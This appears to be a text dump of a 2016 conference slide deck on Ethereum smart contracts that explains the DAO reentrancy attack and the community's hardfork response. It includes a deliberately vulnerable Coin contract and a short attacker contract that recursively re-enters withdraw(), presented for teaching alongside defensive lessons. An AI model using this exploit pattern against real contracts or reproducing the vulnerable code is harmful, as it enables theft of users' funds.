Disrupting Democracy for Good
2016-12-03 Wired Festival Brazil
Max Kaye
Co-Founder of Flux
Blockchain Primer
Lock-step, massively replicated computation
If peers' hashes don't match: consensus breaks
Computation steps correspond to smart contracts and are executed in series
Smart contracts alter a state precisely, which is reflected by some form of root hash
Smart contracts Primer - 1
Smart contracts are programs run on blockchains
Because consensus relies on common execution they cannot be stopped from running
Examples: - Sending Money - Escrow - Voting - DRM - Currency Exchange - Distributed VC Fund
Smart contracts Primer - 2
In the beginning, smart contracts were dumb (and called scripts)
Bitcoin scripts are ephemeral, and simple. - Not Turing Complete - Limited operations
Ethereum smart contracts are persistent, and each has their own database
Ethereum smart contracts can do everything that users can do, including talking with other smart contracts which immediately begin executing
Writing Smart Contracts
Smart Contracts are (often) written in a Javascript-y, OO-esq language called Solidity
Variables are stored persistently across transactions in the smart contract database
Transactions call methods of the smart contract (the creation tx calls the constructor)
Smart contracts are compiled down to bytecode run by the Ethereum VM
Smart Contract Example - Get Set
// ~/src/contracts/get-set.sol
contract GetSet {
string content;
function GetSet() {
content = "initial";
}
function set(string _content) {
content = _content;
}
function get() constant returns (string retVar) {
return content;
}
}
Smart Contract Example - Agent
// ~/src/contracts/get-set-agent.sol
contract GetSetAgent {
address gs = 0xb136707642a4ea12fb4bae820f03d2562ebff487;
function GetSetAgent() {
}
function set() {
gs.call("get"); // => "initial"
gs.call("set", "set_by_agent");
gs.call("get"); // => "set_by_agent"
}
}
Smart contract example - Escrow
// ~/src/contracts/escrow.sol
contract Escrow {
address alice;
address Bob;
address recipient;
bool alice_status = false;
bool bob_status = false;
function Escrow(address _alice, address _bob, address _recipient) {
alice = _alice;
Bob = _bob;
recipient = _recipient;
}
function approve() {
if (msg.sender == alice) {
alice_status = true;
} else if (msg.sender == Bob) {
bob_status = true;
}
}
function trigger() {
if (alice_status && bob_status) {
selfdestruct(recipient);
}
}
}
Smart Contract Example - Coin
// ~/src/contracts/coin.sol
contract Coin {
mapping (address -> uint) balances;
function Coin() {}
function() { // default function
balances[msg.sender] += msg.amount;
}
function sendAll(address recipient){
if (balances[msg.sender] > 0){
balances[recipient] = balances[msg.sender];
balances[msg.sender] = 0;
}
}
function withdraw() {
uint toSend = balances[msg.sender];
bool success = msg.sender.call.value(toSend)();
if (success)
balances[msg.sender] = 0;
}
}
Find the exploit
// ~/src/contracts/coin.sol
contract Coin {
mapping (address -> uint) balances;
function Coin() {}
function deposit() {
balances[msg.sender] += msg.amount;
}
function sendAll(address recipient){
if (balances[msg.sender] > 0){
balances[recipient] = balances[msg.sender];
balances[msg.sender] = 0;
}
}
function withdraw() {
uint toSend = balances[msg.sender];
bool success = msg.sender.call.value(toSend)();
if (success)
balances[msg.sender] = 0;
}
}
Exploit
// ~/src/contracts/attack.sol
contract Coin {
....
function withdraw() {
uint toSend = balances[msg.sender];
bool success = msg.sender.call.value(toSend)();
if (success) balances[msg.sender] = 0;
}
}
contract InnocentAgent {
Coin coin = Coin(coin_address);
function InnocentAgent() { coin.call.value(msg.amount)(); }
}
contract CoinAgent {
Coin toAttack = Coin(coin_address);
bool shouldAttack = true;
function CoinAgent(){ toAttack.call.value(msg.amount)(); }
function(){ // default function
if (shouldAttack && msg.sender == coin_address) {
shouldAttack = false;
toAttack.withdraw();
}
}
function attack(){ toAttack.withdraw(); }
}
The Dao
Complex Distributed Venture Capital Fund
Included functions like voting on proposals and spinning out "child DAOs"
Child DAOs had two uses: - Express dissent and start a new DAO - Withdraw Money
The (simplified) creation process of a child DAO: 1. Call the function; must be a token holder to do so 2. Calculate how much ether to send to the child DAO 3. Send ether to new DAO and then adjust balances
Analysis credit: http://vessenes.com/deconstructing-thedao-attack-a-brief-code-tour/
Evidently something went wrong...
The Dao - Cont 1
// https://github.com/slockit/DAO/blob/develop/DAO.sol#L618
function splitDAO(...) ... {
...
withdrawRewardFor(msg.sender);
totalSupply -= balances[msg.sender];
balances[msg.sender] = 0;
...
}
function withdrawRewardFor(address _account) ... {
...
uint reward = ... // calculate the reward to send, including paidOut[_account]
if (!rewardAccount.payOut(_account, reward))
throw;
paidOut[_account] += reward;
return true;
}
The Dao - Cont 2
Call Stack
splitDao
withdrawRewardFor
payOut
Malicious()
splitDao
withdrawRewardFor
payOut
Malicious()
splitDao
withdrawRewardFor
payOut
Malicious()
...
The Dao - Cont 3
Recursion Limit
Ethereum has a recursion limit
DAO balances are set to zero when the stack resolves
Due to various limits an attacker could have only had a recursion stack 30 calls deep
The attacker only had ~250 ether in the DAO so should have only been able to pull out ~7,500 ether, NOT 3,500,000 ether
The Dao - Cont 4
Call Stack - Extended
splitDao
withdrawRewardFor
payOut
Malicious()
splitDao
withdrawRewardFor
payOut
...
Malicious()
DAO.transferFrom(attackerAddress, newAddress, balance)
Community Reaction
"Ahh, not good!"
Softfork to prevent the attacker withdrawing funds
Undo the softfork
"We should hardfork, no wait, softfork, no wait..."
"We shoud still hardfork"
Plan the hardfork
Hardfork occurs July 20th (ish) on block 1,920,000 Ethereum currently at 1,888,000
"Ahh the softfork has a DoS attack!"
The Hardfork
1. Create a withdrawal only contract 'C' linking to DAO database (already done) 2. Collect balance of all affected contracts 3. Set balance of contract 'C' to the total of all affected contracts 4. Set balance of affected contracts to 0
The Hardfork
contract DAO {
function balanceOf(address addr) returns (uint);
function transferFrom(address from, address to, uint balance) returns (bool);
uint public totalSupply;
}
contract WithdrawDAO {
DAO constant public mainDAO = DAO(0xbb9bc244d798123fde783fcc1c72d3bb8c189413);
address public trustee = 0xda4a4626d3e16e094de3225a751aab7128e96526;
function withdraw(){
uint balance = mainDAO.balanceOf(msg.sender);
if (!mainDAO.transferFrom(msg.sender, this, balance) || !msg.sender.send(balance))
throw;
}
function trusteeWithdraw() {
trustee.send((this.balance + mainDAO.balanceOf(this)) - mainDAO.totalSupply());
}
}
Lessons
-
Be aware of recursion / re-entry attacks; reduce balances before sending
-
Introduce a purely functional language so we can prove contracts adhere to a specification
-
Add recursion limits (technical: ensure `gas` limits are set and sensible)
-
Use Mutexes / Semaphores / Locks to protect sensitive methods
-
Standardisation of common functions (IE use a library)
-
Ethereum needs better support software (EG testing frameworks, static analysis, etc)
BONUS Lesson: Hubris
From The DAO's ToS: Nothing in this explanation of terms or in any other document or communication may modify or add any additional obligations or guarantees beyond those set forth in The DAO’s code. Any and all explanatory terms or descriptions are merely offered for educational purposes and do not supercede or modify the express terms of The DAO’s code set forth on the blockchain; to the extent you believe there to be any conflict or discrepancy between the descriptions offered here and the functionality of The DAO’s code at 0xbb9bc244d798123fde783fcc1c72d3bb8c189413, The DAO’s code controls and sets forth all terms of The DAO Creation
Thank you
and Questions
Max Kaye m@xk.io 15th July 2016 for Ruxmon Sydney https://xk.io https://VoteFlux.org https://BitTradeLabs.com
Democracy Brazil
By Max Kaye
Democracy Brazil
- 1,013